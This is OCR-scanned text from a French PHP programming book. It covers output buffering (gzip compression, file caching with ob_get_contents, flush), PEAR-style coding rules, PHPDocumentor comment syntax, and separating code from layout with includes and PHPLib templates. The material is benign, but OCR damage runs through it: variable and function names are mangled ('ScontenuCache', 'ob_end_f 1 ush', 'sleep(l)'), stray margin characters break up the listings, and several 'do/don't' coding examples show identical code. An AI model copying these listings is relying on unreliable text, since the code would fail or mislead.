Voici un morceau de script a mettre en debut de chacun de vos scripts pour utiliser la 
compression Gzip. 

<?php 

function compression($sortie) 

{ 

// Cette fonction ne fait que retourner la compression de la chaTne 
// de caracteres precisee en parametre. 
return gzencode($sortie) ; 

} 

// Verification du support de gzip par le client 

if (strstr($_SERVER['HTTP_ACCEPT_ENCODING'] , 'gzip')) { 

// Debut de mise en memoire en fournissant comme parametre 

// la fonction a appliquer sur la sortie 

ob_start("compression") ; 

// Previent le navigateur que les donnees sont compressees. 
header("Content-Encoding: gzip") ; 

} 

?> 



Gzip 

Vous devrez avoir compile PHP avec Voption —with-zlib pour pouvoir effectivement 



REHARQJE profiter de la compression Gzip. 



La fonction compression ( ) passee en parametre a ob_start ( ) est appelee juste avant l'envoi 
du resultat. Bien evidemment, ici, nous aurions pu nous passer de la fonction compression ( ) 
et ecrire directement ob_start ( "gzencode" ) . Qui plus est, depuis la version 4.0.4, PHP 
propose une fonction appelee ob_gzhandler ( ) permettant de compresser les donnees en 
fonction du navigateur, en utilisant soit Deflate soit Gzip (voire ne compressant pas). 

Tout le script precedent peut done se reduire a : 
<?php 

ob_start("ob_gzhandler") ; 

?> 
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Si vous souhaitez utiliser systematiquement la fonction ob_gzhandler ( ) , vous pouvez alors 
vous dispenser d'ajouter cette ligne au debut de tous les scripts, simplement en modifiant le 
fichier de configuration php.ini pour avoir la ligne suivante : 

output_handl er = ob_gzhandl er 

Mais jusqu'ou peut-on aller dans la simplification ? A ce stade, on ne peut plus faire grand 
chose... 

L'exemple du premier script reste cependant utile dans certains cas, que vous pouvez imaginer 
vous-meme. II est en effet facultatif d'utiliser une fonction de compression, alors pourquoi ne 
pas, par exemple, appliquer une fonction qui rendra plus lisible le code HTML retourne pour 
deboguer vos scripts ? II est egalement envisageable de ne produire que du XML et d'appliquer 
une feuille de styles au moment du rendu. 



Optimisation des temps de reponse 

II est a tout moment possible de faire appel au contenu du cache, ce qui peut se reveler vraiment 
tres interessant. 

L'utilisation la plus interessante apparait lorsque vous proposez un site contenant des pages 
dont le contenu peut prendre un certain temps a etre genere (parce qu'il fait appel a une base 
de donnees, que le traitement des donnees est relativement long, etc.), mais qui varie peu dans 
le temps (dont le meme resultat pourra etre propose a differents visiteurs sur une periode 
donnee). 

Dans ce cas, plutot que de renouveler les operations de traitement (et d'acces a la base de 
donnees) a chaque appel, il est preferable de generer le document (pour le premier visiteur) et 
de le stocker sous sa forme HTML (ou image, ou autre) afin de restituer le fichier tout pret 
pour les visiteurs suivants. II faudra simplement prendre soin de recreer ce document a 
intervalles reguliers coincidant avec la frequence de mise a jour des donnees. 

Voyons maintenant comme proceder. 

La fonction permettant de recuperer le contenu du cache s'appelle ob_get_content ( ) . 



ob_get_contents() 

Recupere le contenu actuel du cache. 

Syntaxe string ob_get_contents(void) 

retour Contenu du cache, ou FALSE si la gestion du cache n'est pas activee. 

Ainsi, afin de stocker le contenu d'un document dans un fichier, il suffit d'appeler le script 
suivant : 

Listing 4.11 : cache_01 .php 

<?php 

ob_start () ; 
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// Inserez ici, le code du script tel qu'il serai t 
// sans 1 'utilisation de cache 

// Exemple echo "J'ai ete mis en cache a " . strftime("%d/%m/%y %H:%M:%S"); 
echo "J'ai ete mis en cache a " .strftime("%d/%m/%y %H:%M:%S"); 



ScontenuCache = ob_get_contents () ; 
ob_end_f 1 ush () ; 

$fd = fopen("cache.html", "w"); 

if (!$fd) die("Impossible d'ouvrir le fichier de cache"); 

fwrite($fd, $contenuCache) ; 

fclose($fd); 



En plus d'etre affiche, le contenu sera alors egalement stocke dans un fichier cache.html. 

Pour que cela soit utile, reste a determiner quand le fichier doit etre recree et quand il doit etre 
affiche tel quel. Pour connaitre la date de derniere mise a jour du fichier, nous pourrons faire 
appel a la fonction f ilemtime ( ) . II suffira alors de voir s'il date de plus de tant de temps 
(disons, a titre d'exemple, 2 mn). 



Listing 4.12 : cache OLphp 

<?php 

$fichierCache = "cache.html"; 



if (@filemtime($fichierCache)<time()-2*60) { 
// Oula... ga commence a dater 
ob_start() ; 

// Inserez ici, le code du script tel qu'il serait 

// sans 1 ' uti 1 i sation de cache 

// Exemple echo "J'ai ete mis en cache a ". 

// strftime("%d/%m/%y %H:%M:%S"); 

echo "J'ai ete mis en cache a " .strftime("%d/%m/%y %H:%M:%S"); 

ScontenuCache = ob_get_contents () ; 
ob_end_fl ush() ; 

$fd = fopen($fichierCache, "w"); 
if ($fd) { 

fwrite($fd, ScontenuCache); 

fclose($fd); 

} 

} else { 

include($fichierCache) ; 

} 

?> 
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Vous pouvez vous reporter awe sections "Dates" et "Fichiers" pour plus de details sur 
les fonctions strftime ( ), timed, filemtime (), fopend, f write () et 



RENVOI ^7^,, 
iclose ( ). 

Notez que, cette fois-ci, nous passons sous silence les cas ou le fichier cache n'a pu etre cree. En 
effet, il vaut mieux a ce moment-la ne pas polluer le document retourne (tant pis, nous ne 
profiterons tout simplement pas de l'effet de cache). 

Notez egalement qu'en l'absence du fichier de cache (ou si celui-ci n'est pas lisible), la fonction 
filemtime ( ) retournera un message d'erreur que nous masquons par un @. La valeur retour de 
filemtime ( ) sera alors false qui, converti en entier, vaut et sera done inferieur a la date 
limite ; le fichier cache sera done bien recree. 

II est egalement envisageable d'utiliser le cache juste pour recuperer ce qu'une fonction emet 
sur la sortie standard, sans que Ton veuille pour autant que cela apparaisse dans le document. 
Pour cela, vous devrez utiliser la fonction ob_end_clean ( ) . 



Par defaut, les elements des documents a emettre vers un client sont mis dans un cache interne 
avant d'etre envoyes au navigateur (ceci afin d'optimiser les transferts de donnees). Ce qui fait 
que les donnees ne seront pas mises a disposition du client des qu'elles seront pretes, mais des 
que le cache sera plein (ou que l'execution du script sera terminee). 

En de rares circonstances, cela peut etre frustrant. Imaginez que vous utilisez un script PHP 
pour effectuer un long travail de traitement. Vous aurez certainement envie de suivre son 
evolution en affichant reguliere "tant de % realises". Malheureusement, il s'agit la d'une chaine 
de caracteres bien trop courte pour esperer voir le cache se remplir rapidement et etre informe 
de l'avancee du traitement avant la fin du script. 

Pour pallier cet inconvenient, il suffit de demander l'envoi du contenu de cache interne, meme 
si celui-ci n'est pas plein. Ceci se realise par un appel a la fonction flush ( ) que vous appellerez 
chaque fois que vous voulez envoyer le contenu du cache. 

II est egalement possible de demander que 1'appel a flush ( ) se fasse systematiquement (des 
qu'une nouvelle ligne est ajoutee au document). Pour cela, vous utiliserez la fonction 

ob_implicit_f lush ( ) . 



Active ou desactive l'envoi implicite. Quand l'envoi implicite est active, les donnees sont 
envoyees des que possible. 



Gestion du cache interne 



ob_implicit 



flushO 



Syntaxe 

$acti ve 



ob_impl i ci t_f 1 ush ( [bool ean $acti ve] ) 

TRUE (valeur par defaut) pour activer, FALSE pour desactiver. 



Mise en cache avant emission des donnees 

Syntaxe boolean headers_sent (voi d) 

retour TRUE si l'en-tete a deja ete emis, FALSE sinon. 

Partie de cache-cache 

L'utilisation des fonctions flush () et ob_implicit_flush() n'implique pas la 
disponibilite immediate des donnees au niveau de Vaffichage du navigateur. En effet, 
apres PHP, le serveur et le navigateur peuvent, eux aussi, decider de mettre les 
donnees dans un cache. 

Quoi qu'il en soit, dans un environnement de travail de type "Linux + Apache + Mozilla" le 
script suivant, 

Listing 4.13 : flush_02.php 

<?php 

set_time_l imit(O) ; 

ob_implicit_flush() ; 

for ($i=0; $i<=100; $i++) 

{ 

echo "$i%<br />"; 
sleep(l) ; 

} 

?> 

affiche 1%, 2%, etc. a intervalles reguliers d'une seconde, alors que la variante de ce script 
(flush _01.php) ne faisant pas appel a ob_implicit_f lush ( ) n'affiche rien pendant une longue 
periode (probablement 100 secondes) avant d'afficher toutes les lignes d'un bloc. 

Nous avons du, ici, faire appel a set_time_limit ( ) pour autoriser l'execution d'un script de 
plus de 30 secondes. 

Les autres fonctions 

Ces fonctions sont egalement disponibles, mais n'ont pas ete vues precedemment. 



ob_get_length() 

Retourne le nombre de caracteres contenus dans le cache. 
Syntaxe string ob_get_l ength (voi d) 

return Longueur du contenu du cache, ou FALSE si la gestion n'est pas activee. 



REMARQUE 
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ob_flush() 

Permet d'envoyer le contenu du cache aii navigateur, puis de vider le cache sans pour autant 
mettre fin a la mise en cache. Cette fonction a ete introduite dans la version 4.2.0 de PHP. 

Syntaxe void ob_f"lush(void) 

ob_clean() 

Vide le contenu du cache sans pour autant mettre fin a la mise en cache. Cette fonction a ete 
introduite dans la version 4.2.0 de PHP. 

Syntaxe void ob_clean(void) 



ob_get_level() 

Retourne le degre d'imbrication des mises en cache (i.e. nombre d'appels a ob_start { ) ). 
Cette fonction a ete introduite dans la version 4.2.0 de PHP. 



Syntaxe 

retour 



int ob_get_level (void) 

Le degre d'imbrication des mises en cache. 



Chapitre 5 

Les techniques de 
programmation 



5.1 Regies de codage 

5.2 Separation du code et de la mise en page 
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5.1. Regies de codage 

Contrairement a ce que Ton peut trouver avec le langage Java, les auteurs de PHP ne suggerent 
pas veritablement de regies de codage. Cependant, en marge du developpement du moteur 
PHP, les auteurs de PHP group contribuent egalement a la realisation d'une bibliotheque de 
scripts PHP baptisee pear. Et, dans le cadre de ce projet, quelques regies de codage ont ete 
edictees. Ce sont principalement ces recommandations que nous allons presenter ici, tout en les 
completant et les ameliorant (souvent en gardant l'esprit Java). 

Ces regies de codage, souvent issues du simple bon sens, sont destinees a faciliter la lecture du 
code (notamment par un developpeur autre que 1'auteur principal du script), mais aussi a 
reduire les risques d'erreur de programmation. 



Presentation du code 

II est ainsi suggere : 

D'ecrire des lignes de code ne depassant pas 80 caracteres (et idealement ne depassant pas 
70 caracteres) pour en faciliter la lecture a l'ecran et sur papier. 

D'indenter le code avec quatre espaces (sans tabulations) afin de conserver la meme mise 
en page quelle que soit la configuration de l'editeur. 

De mettre une espace de part et d'autre d'un signe egal d'une affectation de valeur a une 
variable (voire plusieurs dans le cas d'une serie d'affectations pour un alignement plus 
lisible). 

— Ce qu'il faut faire : 

$varl = fonction(); 

$variable2 = 21 

— Ce qu'il ne faut pas faire : 
$variable2=21; 

D'inserer une espace entre les elements des structures de controle et les parentheses 
ouvrantes, afin de les differencier d'un appel de fonction. 

— Ce qu'il faut faire : 

if (condition) { 
codel ; 

} 

— Ce qu'il ne faut pas faire : 

if (condition) { 
codel ; 

} 

— Ce qu'il faut faire : 

if ((condl) && (cond2) ) { 
codel ; 

} 
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— Ce qu'il ne faut pas faire : 

if ((condl)&&(cond2)) { 
codel ; 

} 

D'utiliser des accolades meme pour les structures de controle ne contenant qu'une seule 
ligne. Ceci afin d'eviter tout oubli le jour ou une ligne devra etre ajoutee. 

— Ce qu'il faut faire : 

if (condition!) { 
codel ; 

} 

— Ce qu'il ne faut pas faire : 

if (condition!.) 
codel ; 

De ne pas mettre d'espace entre le nom de la fonction et la parenthese ouvrante precedant 
les parametres. 

— Ce qu'il faut faire : 
ma Fonction ($paraml) 

— Ce qu'il ne faut pas faire : 

maFonction ($paraml) 

De separer chaque parametre d'une fonction par une virgule suivie d'une espace (mais pas 
d'espace entre la parenthese ouvrante et le premier parametre). 

— Ce qu'il faut faire : 
maFonction($paraml, $param2) 

— Ce qu'il ne faut pas faire : 

maFonction ($paraml ,$param2) 

De positionner l'accolade ouvrante de declaration d'une fonction juste au dessous du "f de 
function et de commencer le corps de la fonction apres avoir indente. 

— Ce qu'il faut faire : 

function maFonction() 
{ 

return "blabla"; 

} 

— Ce qu'il ne faut pas faire : 

function maFonction() { 
return "blabla"; 

} 
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Programmation 

■ Toujours utiliser les balises <?php ?> (et non <? ?> ou toute autre alternative). 

Les parametres optionnels (avec des valeurs par defaut) des fonctions doivent etre les 
derniers parametres de la fonction (du moins couramment omis au plus couramment 
omis). 

— Ce qu'il faut faire : 

function maFonc($pl, $p2 = "bla") 

{ 

return $pl . $p2 ; 

} 

— Ce qu'il ne faut pas faire : 

function maFonc($pl = "bla", $p2) 

{ 

return $pl.$p2; 

} 

Les fonctions doivent toujours retourner une valeur coherente (i.e. en cas d'echec 
retourner clairement false plutot que de ne pas retourner explicitement de valeur. En cas 
d'appel a une fonction ne retournant pas specifiquement de valeur, retourner true en cas 
de succes, et false sinon). 

Utiliser de preference include_once ( ) (plutot que included) pour les fichiers a 
inclure, mais dont on peut eventuellement se passer, et require_once ( ) (plutot que 
require ( ) ) pour les fichiers necessaires au bon fonctionnement du script. 

Se tenir informe des problemes de securite lies a 1'utilisation de certaines fonctions (cf. 
include et upload de fichiers). 



Noms de classes, fonctions, variables et constantes 

Les regies de nommage de la bibliotheque pear ne sont pas tout a fait claires (du moins en ce 
qui concerne les classes et les variables). Mais une bonne pratique consiste a respecter a peu 
pres les memes regies que pour Java (meme si cela n'est pas le cas pour les fonctions natives de 
PHP et si, dans certains cas, on peut etre amene a s'en ecarter). 

Les classes 

Les noms de classes commencent par quelques lettres en majuscules indiquant le projet auquel 
elles appartiennent (ex. : SPP pour "Super Projet PHP") suivies d'un underscore et du nom 
decrivant le role de la classe. Ce nom ne comporte pas d'underscore et est essentiellement ecrit en 
minuscules. Seules les premieres lettres des mots composant le nom sont en majuscules. La lettre 
suivant l'underscore est, elle, une minuscule. Un nom de classe doit toujours commencer par une 
majuscule (ce qui est assure ici par l'abreviation du nom du projet). Ce qui donne, par exemple : 

class SPP_maClasse() 

{ 

} 
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Les methodes 

Les noms de methodes ne doivent pas commencer par une majuscule. Elles sont 
essentiellement ecrites en minuscules. Seules les premieres lettres des mots composant le nom 
sont en majuscules. II est conseille de distinguer les methodes internes (uniquement utilisees 
par la classe) des methodes externes (pouvant etre appelees par le developpeur) en faisant 
preceder les noms de methodes internes par un underscore. 

class SPP_superCl asse 
{ 

function _fonctionInterne() 

{ 

// commence par un underscore 

} 

function superFonction() 

{ 

// pas de prefixe dans ce cas 

} 

} 



Les fonctions 

Nous appliquerons aux fonctions (autres que les methodes) les memes regies de nommage que 
celles appliquees aux classes. 
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Les variables 

Les noms de variables suivent les memes regies que celles des noms de methodes. 

$maSuperVariable 
$_maVari abl ePri vee 

En revanche, pour les variables globales, les regies de nommage PEAR suggerent de respecter 
les memes regies que pour les noms de classes, mais en les faisant preceder d'un underscore. 
($_PEAR_destructor_obj ect_list est cite en exemple, alors qu'il serait preferable d'utiliser 

le nom $_PEAR_destructorObjectList.) 



Les constantes 

Les noms des constantes sont en majuscules, et, dans ce cas, chaque mot est separe par un 
underscore. La encore, les noms doivent etre precedes du nom, abrege et en majuscules, de la 
bibliotheque. 

def i ne("SPP_SUPER_CONSTANTE" , 20) ; 
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Commentaires 

Ah ! les commentaires... II faut distinguer deux types de commentaires. II y a les commentaires 
destines aux personnes qui vont devoir utiliser les classes et fonctions. II s'agit dans ce cas de 
decrire l'objectif de la classe ou fonction ainsi que son interface (description des parametres 
d'entree et sortie). Puis il y a les commentaires destines aux personnes qui seront chargees de 
la maintenance du code. Dans ce cas, il s'agit plutot de decrire les algorithmes et les diverses 
subtilites qui ont ete mis en place pour que la fonction fasse ce que Ton attend d'elle. 

Dans le premier cas, les developpeurs de pear suggerent d'inclure dans les scripts des 
commentaires respectant la convention PHPDoc (fortement inspiree de JavaDoc). 

Dans le second cas, il est suggere d'utiliser soit la convention /* */, soit // (au choix du 
programmeur, mais pas #). 



PHPDoc(umentor) 
Installation 

PHPDoc est plus ou moins un standard d'ecriture repris du monde Java. Dans PEAR, on 
retrouve deux implementations, une appelee PHPDoc et l'autre PHPDocumentor. 
PHPDocumentor est le generateur de documentation recommande pour diverses raisons telles 
que la generation de fichier PDF, l'absence d'utilisation de base de donnees, possibilite de 
definir ses propres balises... En outre PHPDoc n'est plus en developpement. 

Pour installer PHPDocumentor une fois PEAR installe il suffit de taper pear install 

phpdocumentor. 



m£§ PHP415 

~ Pour utiliser PHPDocumentor avec PHP5 il vous faudra utiliser au minimum la 
REMARQUE version 1.3.0 autrement toute version est utilisable pour PHP4. 



Syntaxe des commentaires 

Tout comme pour JavaDoc, les lignes de commentaire doivent preceder les declarations de 
classes, fonctions, etc. selon le schema suivant : 

j-k-k 

* Description succincte 

* Description detaillee 

* @param <type du parametre> description 

7 

Ces commentaires doivent apparaitre avant les instructions class (declaration d'une classe), 
function (declaration d'une fonction), var (declaration d'une variable), define (declaration 
d'une COnstante), include, include_once, require, require_once (inclusion de fichiers). 
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Les mots-cles valides sont : 

■ ©access suivi de "private" ou "public" pour indiquer si une classe, une fonction ou une 
variable est privee ou publique (par defaut, elles seront considerees comme privees). 

©author suivi du nom de l'auteur et eventuellement de l'e-mail mis entre < et > (ne peut 
pas etre utilise pour include, include_once, require et require_once). Le champ 
e-mail est cense etre optionnel. En pratique, s'il n'est pas mis, le nom de l'auteur n'apparait 
pas. 

©const suivi du nom de la constante et eventuellement de la description (valable 
uniquement pour define). 

©deprecated suivi d'un commentaire precisant depuis quand (date ou version) l'element 
commente est deprecie (ne peut etre utilise pour include, include_once, require et 

require_once). 

■ ©global, pour preciser le role d'une variable globale utilisee dans une fonction, suivi du 
type de la variable (pour les objets, precisez "obj ect " suivi du nom de l'objet), lui-meme 
suivi du nom de la variable, enfin eventuellement suivi de la description (valable 
uniquement pour function). 

©package, pour preciser a quelle bibliotheque appartient une classe, suivi du nom de la 
bibliotheque (valable uniquement pour class). 

©param, pour preciser le role d'un argument d'une fonction, suivi du type de la variable 
= (pour les objets precisez "object " suivi du nom de l'objet), suivi du nom de la variable, 

£2 o eventuellement suivi de la description (valable uniquement pour function). 

i= E ©return, pour preciser le contenu de la valeur retournee par une fonction, suivi du type de 

la variable (pour les objets precisez "object " suivi du nom de l'objet), eventuellement suivi 
de la description (valable uniquement pour function). 

©see, pour faire reference a une autre fonction, une autre methode de la classe ou une 
variable, suivi du nom de l'element pointe. Le nom de la fonction doit inclure les 
parentheses ouvrante puis fermante. Cela insere alors un lien hypertexte dans la 

documentation (ne peut etre Utilise pour include, include_once, require et 
requireonce). 

©since, pour indiquer la date/version d'introduction de l'element, suivi de la date ou de 
l'identifiant de version (ne peut etre utilise pour include, include_once, require et 

require_once). 

©static, pour indiquer qu'une methode peut etre considered comme statique (appel 

MonObjet : :maMethode ( ) possible). Valable uniquement pour function, 
©throws, pour indiquer quelles erreurs peuvent etre levees. 

©var, pour indiquer le role d'une variable, suivi du type de la variable (pour les objets 
precisez "object" suivi du nom de l'objet), suivi du nom de la variable, eventuellement 
suivi de la description (valable uniquement pour var). 

©vers ion, pour indiquer le numero de version, suivi d'une chaine de caracteres totalement 
libre indiquant le numero de version. 
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Un seul ou plusieurs fichiers 

Contrairement a PHPDoc, avec PHPDocumentor il est possible de definir plusieurs 
classes dans un meme fichier mais cela reste tout de meme deconseille pour des 
raisons de lisibilite (saufcas particuliers). 



Listing 5.1 : sources/phpdoc_demo01.php 

<?php 

I** 

* @const SPPjnaConstante Une bien belle constante 

7 

define ("SPP_MA_CONSTANTE" , 20); 

$_SPP_maVariableGlobale = "SPP"; 

I** 

* Classe super pratique 

* La, je pourrais decrire ce que fait cette 

* classe mais comme je n'en ai aucune idee 

* je m 1 absti endrai s . "3 f» 

* @author Damien HEUTE <damien@toutestfacile.com> g EJ. 

* ^package SuperProjetPHP 3 ~ 

* @access publ ic =: = 

* Aversion 2.0 = «° 

* (Psince 2002-07-01 a 
*/ 

class SPP_maCl asse 
{ 

J** 

* @var string monParametre Parametre de sauvegarde 

v 

var $monParametre; 



I** 

* @param monObjet object SPP_autreCl asse Object a sauvegarder 

* @return boolean TRUE si OK, FALSE sinon 

* @see vieil leFonction() 

7 

function sauve($mon0bjet) 
{ 

J** 

* (Pglobal string Une variable globale. 

*/ 

global $_SPP_maVariableGlobale; 
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return $monObj et->sauve ($_SPP_mavari abl eGl obal e . 

$thi s->monParametre) ; 

} 

I** 

* (astatic 

* @param texte string Texte a afficher 

*/ 

function affi che($texte) 
{ 

echo $texte; 

} 

I** 

* @deprecated 2.3 

7 

function vieilleFonction() 
{ 

// ne plus utiliser depuis version 2.3 

} 



J** 

* maFonction 



o- co * @param parametrel string blabla 

* / 



a £ function maFonction($parametrel) 

*" O) r 

go o 1 



} 



?> 



Listing 5.2 : sources/phpdoc_demo02.php 

<?php 

I** 

* Une classe vraiment bidon 

* ^package SuperProjetPHP 

V 

class SPP_autreCl asse 
{ 

} 

?> 
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REMARQUE 



En-tete de fichier 

Dans le cadre du projet PEAR, un en-tete de fichier est suggere. Cela etant fortement 
dependant du projet, nous n 'aborderons pas ce point ici. 



Generation de la documentation 

La generation de la documentation est tres simple, elle peut se faire "en ligne" ou "hors ligne" 
c'est-a-dire avec les fichiers sources sur le serveur ou dans tout autre repertoire. 

II y a deux possibilites pour generer la documentation, soit en ligne de commande soit par une 
interface web. L'inconvenient de l'interface web est qu'il faut l'installer sur le serveur et qu'elle 
ne permet de generer de la documentation que sur les fichiers presents sur le serveur. Nous 
allons done voir uniquement le mode en ligne de commande. 

Entrons tout de suite dans le vif du sujet avec un exemple ou dans le repertoire courant il y a le 
repertoire sources qui contient vos fichiers sources (dans notre exemple nous reprenons les 
fichiers decrit precedemment) et que Ton veuille generer une documentation HTML dans un 
nouveau repertoire appele documentation: 

phpdoc -d sources -t documentation 

Voila, le tour est joue, voici le contenu du repertoire documentation: 

u 



u 



SuperProjetPHP 



blank, html 
HTML Document 

1 KB 

elementindex.html 
HTML Document 
6 KB 

errors.html 
HTML Document 

2 KB 

li_5uperProjetPHP.html 
HTML Document 
2 KB 



classtrees_5uperProjetPHP . html 
HTML Document 



elementindex_5uperProjetPHP , 

HTML Document 
6 KB 

index.html 
HTML Document 



packages.html 
HTML Document 
1 KB 



- CD 

O C/5 

ii 
it 

O CD 
= CO 
Q- 
CD 



Figure 5.1 : Contenu du repertoire documentation 



Et un apercu de la documentation generee (voir fig. 5.2) : 

Comme nous l'avons deja preciser, PHPDocumentor permet de generer des fichiers PDF, ici 
nous n'avons rien preciser et done le rendu obtenu est par defaut HTML avec la mise en page 
de PHPDocumentor. 
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Generated Documentation - MozilLa Firefox 



Fichier Edition AfFichage Aller a Marque-pages Outils 



" ^] n1e:///C:/documentatbn/index.html 



SuperProjetPHP 



SuperProjetPHP 



Cla.ss trees 

Index of elements 
Classes 

SPP_autreClasse 

SPP_rnaClasse 
Functions 

maFonction 

phpdac_demcioi.php 
phpdoc_demoo2.php 

phpDoctjrnentor v 1.3.0RC3 



Class SPP maClasse 



Description 



Description [Varg([de | thods [details) 



Classe super pratique 

La, je pourrais decrire ce que fait cette classe mais oomme je n'en ai aucune 
idee je m'abstiendrais. 

■ since: 2002-07-01 

■ version: 2.0 

■ access: public 

■ author: Daniien HEUTE <damien@toutestfacile.coni> 
Located in 1 c_ dent 001. php (fine 23) 



Variable Summary 



Description | Van CdE Is): I lods [details) 



jjimonPara metre 



Method Summary 



C-r ■ l iu-' i ■!■ I '■■■[.■ ■_- ill; • • ■* ■ -lr> i . . . 



void affiche [tezte $texte) 

boolean sain : [rnonQbjet $monObjet) 

yofef ieilleFonction () 



Figure 5.2 : Apergu de la documentation 

Voyons differentes options disponibles pour 1'outil phpdoc: 

-f ou --filename: nom du ou des fichiers separes par une virgule a analyser, (vous pouvez 
utiliser * ou ?) 

-d ou --directory: nom du ou des repertoires separes par une virgule a analyser, 
-t ou --target: repertoire ou creer la documentation, (il sera cree s'il n'existe pas deja) 
-i ou --ignore: liste de fichiers a ignorer. 
-q ou --quiet: n'affiche pas d'informations lors de 1'analyse. 

-ti ou --title: titre de la documentation ('Generated Documentation' par defaut) 
-h ou --help: permet d'obtenir une aide sur phpdoc. 

-o ou --output: defini le mode de generation. C'est cette option qui vous permet de 
generer de l'HTML, du PDF, du DocBook. . . Pour choisir il suffit d'aller dans le repertoire 
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Converters de PHPDocumentor et de definir le chemin vers le convertisseur que vous 
voulez. A ce jour il y a le choix entre: CHM:default, HTML:frames, HTML:Smarty, 
PDF:default, XML:DocBook. II est egalement possible de creer votre propre mode. 




Autres options 

II existe d'autres options mais moins souvent utilisees. 



REMARQUE 



5.2. Separation du code et de la mise en page 

Pour des raisons de maintenance, ou tout simplement parce que les bons developpeurs ne font 
pas necessairement de bons designers (et reciproquement), il est generalement souhaitable de 
separer le code de la mise en page. Ce principe general doit egalement s'appliquer au code 
PHP. Toutefois, s'il est evident que Ton ne va pas integrer un gros bloc de traitement au milieu 
d'un script d'affichage, la mise en pratique de cette regie est souvent bien illusoire. 

En eff et, comme tout langage de programmation de pages web, PHP se situe a la frontiere entre 
le code et la mise en page. Par consequent, il n'est pas rare que les instructions d'affichage ne 
se bornent pas a afficher une image par-ci et le contenu d'une variable par-la. Plus 
frequemment, les informations a afficher sont une liste d'informations (peut-etre issues d'une 
base de donnees), chaque information pouvant avoir des attributs qui vont influencer la facon 
dont elle doit etre affichee (par exemple, s'il s'agit d'une liste de noms de personnes, on pourra 
peut-etre vouloir afficher une petite icone indiquant s'il s'agit d'un homme ou d'une femme). 
Dans ce cas, inevitablement, le script charge de l'affichage devra contenir des instructions de 
boucle ainsi que des tests (pour avoir un affichage conditionnel selon les attributs). A moins, 
evidemment, que ce ne soit le script charge du traitement de l'information qui retourne du code 
HTML (et gere done les problemes de mise en page). 

A mon sens, la meilleure solution pour distinguer autant que possible le code de la mise en page 
consiste a faire judicieusement appel a des objets et fonctions stockes dans des scripts 
"bibliotheques". Nous ne pouvons toutefois pas taire les autres solutions (a base de modeles ou 
templates) proposees notamment au travers des bibliotheques PHPLib et pear. 



Utilisation des objets et de l'instruction include 

Le principe est simple : il suffit d'avoir un ou plusieurs scripts PHP ne contenant que des objets 
ou fonctions proposant des interfaces simples, et qui retourneront des donnees aisement 
manipulables par le ou les scripts charges de la mise en page. 

On pourra ainsi imaginer avoir des methodes comme : 



MaBD->rechercheVisiteurs () 

Exemple de fonction qui rechercherait une liste de visiteurs dans une base de donnees a partir 
d'un critere quelconque, et retournerait $nb valeurs a partir de la $debut-ieme. 
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Syntaxe array rechercheVi si teurs (stri ng $critere, int $debut, $nb) 

retour Tableau d'objet Visiteur, ou FALSE en cas d'echec. 

Le script charge de l'affichage pourrait alors avoir Failure suivante : 
<?php 

// Inclusion de toutes les bibliotheques necessaires 
require_once("bibl iothequel_inc.php") ; 

// Initialisation de toutes les variables necessaires 
$liste = MaBD: :rechercheVisiteurs($critere, $debut, 10); 

?> 

<html> 
<body> 
<tabl e> 
<?php 

if ($liste) for ($i=0; $i<count ($1 i ste) ; $i++) 
{ 



?> 



si 

I E 

GO o 



<tr> 

<td> 

<?php 

if ($liste[$i]->sexe=="M") { 

echo "<img src=\"homme.gi f\">" ; 
} else { 

echo "<img src=\"femme.gif\">"; 



</td> 

<tdx?php echo $1 i ste[$i] ->prenom; ?></td> 
<tdx?php echo $1 i ste[$i] ->nom; ?></td> 
</tr> 

<?php 
} 

?> 

</tabl e> 

</body> 

</html> 

Comme vous le voyez, nous sommes loin d'un script quasiment exempt de code. Mais il n'y a pas 
de miracle a esperer ! 

II est egalement possible de faire appel aux possibilites offertes par les instructions include ( ) 
et require ( ) pour scinder une page complexe en plusieurs elements (fichiers) dedies a un 
sous-ensemble de la page. Ainsi, de nombreux scripts sont congus selon le modele : 

<?php 

i ncl ude("entete_i nc.php") ; 

// Corps de la page 

i ncl ude(" pi eddepage_i nc.php") ; 

?> 
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dans lequel le fichier entete Jnc.php (plus couramment appele header.php) contient 
generalement le titre du site, le logo, et, eventuellement, des barres de menu horizontale et 
laterale gauche (chacun de ces elements pouvant aussi etre dans des fichiers distincts). Le 
fichier pieddepage jnc.php (plus couramment appele footer.php) contient, quant a lui, 
l'indication de copyright et, eventuellement, une barre de menu laterale droite. 

L'utilisation de ces techniques offre de nombreux avantages : 

Elles sont tres simples a mettre en ceuvre. 
i Elles facilitent la reutilisation du code. 
■ Elles sont relativement satisfaisantes en terme de separation des roles. 



Utilisation des modeles (templates) 

Avec la bibliotheque PHPLib 
Installation 

Vous devrez, dans un premier temps, vous procurer la bibliotheque PHPLib sur le site Internet 
http://sourceforge.net/projecls/phplib (elle se trouve egalement sur le CD-ROM fourni). II s'agit 
simplement d'un fichier phplib-7 A-prel .tar.gz a decompresser dans le repertoire de votre choix. 

Ce fichier contient juste une serie de scripts PHP (inutile done de recompiler PHP). Pour 
utiliser cette bibliotheque en toute liberte, il suffit d'ajouter le repertoire contenant la 
bibliotheque au chemin de recherche specifie par le parametre include_path du fichier 
php.ini. Cela peut egalement se faire en utilisant la fonction set_ini ( ) (utilisee comme suit : 

set_ini ( " include_path" , $nouvelleValeurIncludePath) ; ) au debut de chaque script 
faisant appel a la bibliotheque PHPLib. 

Pour utiliser les modeles, il suffira alors d'inclure le script template.inc disponible dans le 
repertoire php. Si vous n'avez pas modifie le contenu d'inciude_path, peu importe, vous 
n'aurez qu'a preciser le chemin complet vers ce fichier lors de l'include. 

Introduction 

La separation code/mise en page avec PHPLib prend un tout autre aspect. 

Le designer pourra creer des fichiers semblables a des fichiers HTML classiques, dans lesquels 
il aura, en plus, integre des mots-cles (entre accolades) ou defini des blocs (par des 
commentaires HTML). Ces fichiers HTML seront alors traites par un script ecrit par le 
developpeur faisant appel a la bibliotheque PHPLib, afin de remplacer les mots-cles et les blocs 
par leurs valeurs. 

Exemple de fichier modele (cree par le designer) : 

Listing 5.3 : modeles/phplib_01.tpl 

<html> 
<head> 

<title>{TITRE}</title> 
</head> 
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<body> 

<h3>{TITRE}</h3> 
<table border="l"> 

<!-- BEGIN blocLigne --> 
<tr> 

<td>{SEXE}</td> 
<td>{PRENOM}</td> 
<td>{NOM}</td> 
</tr> 

<!-- END blocLigne --> 
</tabl e> 

<center>{ COPYRIGHT }</center> 

</body> 

</html> 



Exemple de fichier de substitution mot-cle/code (cree par le developpeur) : 



SI 
■E E 



Listing 5.4 : phplib_01.php 

<?php 

requi re_once(" . . /phpl ib-7 .4-prel/php/templ ate. inc") ; 

// Instanciation d'un objet Template 
// en precisant que : 
